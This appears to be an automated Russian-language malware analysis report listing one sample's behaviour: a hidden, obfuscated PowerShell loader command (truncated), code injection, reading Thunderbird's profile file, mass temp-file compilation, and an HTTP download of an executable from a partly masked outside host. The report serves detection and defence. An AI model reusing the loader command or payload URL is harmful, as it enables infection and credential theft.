Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function l1d3a1 {param($u49edc)$q4c53='bc88ec';$e93b7f8='';for ($i=0; $i -lt $u49edc.length;$i+=2){$qad8f=[convert]::ToByte($u49edc.Substring($i,2),16);$e93b7f8+=[char]($q...
Внедряет код в
следующие пользовательские процессы:
- qc61a.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\qelcidil.0.cs
- %TEMP%\pihd8ose.0.cs
- %TEMP%\gwfrngp3.dll
- %TEMP%\res951f.tmp
- %TEMP%\csc950e.tmp
- %TEMP%\gwfrngp3.out
- %TEMP%\gwfrngp3.cmdline
- %TEMP%\gwfrngp3.0.cs
- %TEMP%\ba5ye_wm.dll
- %TEMP%\res7fd1.tmp
- %TEMP%\csc7fc1.tmp
- %TEMP%\ba5ye_wm.out
- %TEMP%\ba5ye_wm.cmdline
- %TEMP%\ba5ye_wm.0.cs
- %TEMP%\aqf-zxku.dll
- %TEMP%\res7080.tmp
- %TEMP%\csc707f.tmp
- %TEMP%\aqf-zxku.out
- %TEMP%\aqf-zxku.0.cs
- %TEMP%\aqf-zxku.cmdline
- %TEMP%\pihd8ose.cmdline
- %TEMP%\pihd8ose.out
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{14e07207-e99d-4860-b397-e9a763d5d328}.tmp
- %TEMP%\y_kwnget.dll
- %TEMP%\resc527.tmp
- %TEMP%\cscc517.tmp
- %TEMP%\y_kwnget.out
- %TEMP%\y_kwnget.cmdline
- %TEMP%\cf1ufoow.dll
- %TEMP%\2hz9o5-m.0.cs
- %TEMP%\resb48d.tmp
- %TEMP%\cscb47d.tmp
- %TEMP%\cf1ufoow.out
- %TEMP%\cf1ufoow.cmdline
- %TEMP%\cf1ufoow.0.cs
- %TEMP%\pihd8ose.dll
- %TEMP%\resa55b.tmp
- %TEMP%\csca54a.tmp
- %APPDATA%\qc61a.exe
- %TEMP%\otxfk1ft.dll
- %TEMP%\res60b1.tmp
- %TEMP%\res24b1.tmp
- %TEMP%\whkinoou.dll
- %TEMP%\csc24a1.tmp
- %TEMP%\qelcidil.dll
- %TEMP%\res2194.tmp
- %TEMP%\res2202.tmp
- %TEMP%\csc21f1.tmp
- %TEMP%\j9cfiblm.out
- %TEMP%\j9cfiblm.cmdline
- %TEMP%\j9cfiblm.0.cs
- %TEMP%\csc2193.tmp
- %TEMP%\whkinoou.out
- %TEMP%\whkinoou.cmdline
- %TEMP%\whkinoou.0.cs
- %TEMP%\qelcidil.out
- %TEMP%\qelcidil.cmdline
- %TEMP%\wl6o1xyq.0.cs
- %TEMP%\wl6o1xyq.cmdline
- %TEMP%\j9cfiblm.dll
- %TEMP%\wl6o1xyq.out
- %TEMP%\csc60a0.tmp
- %TEMP%\csc2cee.tmp
- %TEMP%\otxfk1ft.out
- %TEMP%\otxfk1ft.cmdline
- %TEMP%\otxfk1ft.0.cs
- %TEMP%\2hz9o5-m.dll
- %TEMP%\res51cc.tmp
- %TEMP%\csc51bc.tmp
- %TEMP%\2hz9o5-m.out
- %TEMP%\y_kwnget.0.cs
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\am6qlwgy.dll
- %TEMP%\res3839.tmp
- %TEMP%\csc3829.tmp
- %TEMP%\am6qlwgy.out
- %TEMP%\am6qlwgy.cmdline
- %TEMP%\am6qlwgy.0.cs
- %TEMP%\wl6o1xyq.dll
- %TEMP%\res2cfe.tmp
- %TEMP%\2hz9o5-m.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Удаляет следующие файлы
- %TEMP%\res2194.tmp
- %TEMP%\gwfrngp3.cmdline
- %TEMP%\csc950e.tmp
- %TEMP%\res951f.tmp
- %TEMP%\ba5ye_wm.pdb
- %TEMP%\ba5ye_wm.cmdline
- %TEMP%\ba5ye_wm.dll
- %TEMP%\ba5ye_wm.out
- %TEMP%\ba5ye_wm.0.cs
- %TEMP%\csc7fc1.tmp
- %TEMP%\res7fd1.tmp
- %TEMP%\aqf-zxku.dll
- %TEMP%\aqf-zxku.pdb
- %TEMP%\aqf-zxku.out
- %TEMP%\aqf-zxku.cmdline
- %TEMP%\aqf-zxku.0.cs
- %TEMP%\csc707f.tmp
- %TEMP%\res7080.tmp
- %TEMP%\otxfk1ft.0.cs
- %TEMP%\otxfk1ft.pdb
- %TEMP%\gwfrngp3.0.cs
- %TEMP%\gwfrngp3.out
- %TEMP%\y_kwnget.cmdline
- %TEMP%\gwfrngp3.pdb
- %TEMP%\y_kwnget.pdb
- %TEMP%\y_kwnget.out
- %TEMP%\y_kwnget.0.cs
- %TEMP%\cscc517.tmp
- %TEMP%\resc527.tmp
- %TEMP%\cf1ufoow.dll
- %TEMP%\cf1ufoow.cmdline
- %TEMP%\cf1ufoow.out
- %TEMP%\cf1ufoow.pdb
- %TEMP%\cf1ufoow.0.cs
- %TEMP%\cscb47d.tmp
- %TEMP%\resb48d.tmp
- %TEMP%\pihd8ose.cmdline
- %TEMP%\pihd8ose.dll
- %TEMP%\pihd8ose.pdb
- %TEMP%\pihd8ose.out
- %TEMP%\pihd8ose.0.cs
- %TEMP%\csca54a.tmp
- %TEMP%\resa55b.tmp
- %TEMP%\otxfk1ft.cmdline
- %TEMP%\gwfrngp3.dll
- %TEMP%\otxfk1ft.dll
- %TEMP%\res2cfe.tmp
- %TEMP%\j9cfiblm.pdb
- %TEMP%\j9cfiblm.dll
- %TEMP%\j9cfiblm.out
- %TEMP%\j9cfiblm.0.cs
- %TEMP%\csc24a1.tmp
- %TEMP%\res24b1.tmp
- %TEMP%\whkinoou.out
- %TEMP%\whkinoou.0.cs
- %TEMP%\whkinoou.cmdline
- %TEMP%\whkinoou.pdb
- %TEMP%\whkinoou.dll
- %TEMP%\csc21f1.tmp
- %TEMP%\res2202.tmp
- %TEMP%\qelcidil.dll
- %TEMP%\qelcidil.pdb
- %TEMP%\qelcidil.out
- %TEMP%\qelcidil.cmdline
- %TEMP%\qelcidil.0.cs
- %TEMP%\csc2193.tmp
- %TEMP%\j9cfiblm.cmdline
- %TEMP%\csc2cee.tmp
- %TEMP%\csc60a0.tmp
- %TEMP%\wl6o1xyq.cmdline
- %TEMP%\res60b1.tmp
- %TEMP%\2hz9o5-m.pdb
- %TEMP%\2hz9o5-m.out
- %TEMP%\2hz9o5-m.dll
- %TEMP%\2hz9o5-m.0.cs
- %TEMP%\2hz9o5-m.cmdline
- %TEMP%\csc51bc.tmp
- %TEMP%\res51cc.tmp
- %TEMP%\am6qlwgy.out
- %TEMP%\am6qlwgy.pdb
- %TEMP%\am6qlwgy.cmdline
- %TEMP%\am6qlwgy.0.cs
- %TEMP%\am6qlwgy.dll
- %TEMP%\csc3829.tmp
- %TEMP%\res3839.tmp
- %TEMP%\wl6o1xyq.pdb
- %TEMP%\wl6o1xyq.0.cs
- %TEMP%\wl6o1xyq.out
- %TEMP%\wl6o1xyq.dll
- %TEMP%\otxfk1ft.out
- %TEMP%\y_kwnget.dll
Сетевая активность
TCP
Запросы HTTP GET
- http://ro######ji-5576.itigo.jp/data/rol.exe
UDP
- DNS ASK ro######ji-5576.itigo.jp
Другое
Создает и запускает на исполнение
- '%APPDATA%\qc61a.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function l1d3a1 {param($u49edc)$q4c53='bc88ec';$e93b7f8='';for ($i=0; $i -lt $u49edc.length;$i+=2){$qad8f=[convert]::ToByte($u49edc.Substring($i,2),16);$e93b7f8+=[char]($q...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB48D.tmp" "%TEMP%\CSCB47D.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cf1ufoow.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA55B.tmp" "%TEMP%\CSCA54A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pihd8ose.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES951F.tmp" "%TEMP%\CSC950E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gwfrngp3.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7FD1.tmp" "%TEMP%\CSC7FC1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ba5ye_wm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7080.tmp" "%TEMP%\CSC707F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\aqf-zxku.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60B1.tmp" "%TEMP%\CSC60A0.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otxfk1ft.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES51CC.tmp" "%TEMP%\CSC51BC.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2hz9o5-m.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3839.tmp" "%TEMP%\CSC3829.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\am6qlwgy.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2CFE.tmp" "%TEMP%\CSC2CEE.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wl6o1xyq.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES24B1.tmp" "%TEMP%\CSC24A1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j9cfiblm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2194.tmp" "%TEMP%\CSC2193.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2202.tmp" "%TEMP%\CSC21F1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\whkinoou.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qelcidil.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y_kwnget.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC527.tmp" "%TEMP%\CSCC517.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\y_kwnget.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB48D.tmp" "%TEMP%\CSCB47D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cf1ufoow.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA55B.tmp" "%TEMP%\CSCA54A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pihd8ose.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES951F.tmp" "%TEMP%\CSC950E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gwfrngp3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7FD1.tmp" "%TEMP%\CSC7FC1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ba5ye_wm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7080.tmp" "%TEMP%\CSC707F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\aqf-zxku.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60B1.tmp" "%TEMP%\CSC60A0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otxfk1ft.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES51CC.tmp" "%TEMP%\CSC51BC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2hz9o5-m.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3839.tmp" "%TEMP%\CSC3829.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\am6qlwgy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2CFE.tmp" "%TEMP%\CSC2CEE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wl6o1xyq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES24B1.tmp" "%TEMP%\CSC24A1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j9cfiblm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2194.tmp" "%TEMP%\CSC2193.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2202.tmp" "%TEMP%\CSC21F1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\whkinoou.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qelcidil.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC527.tmp" "%TEMP%\CSCC517.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
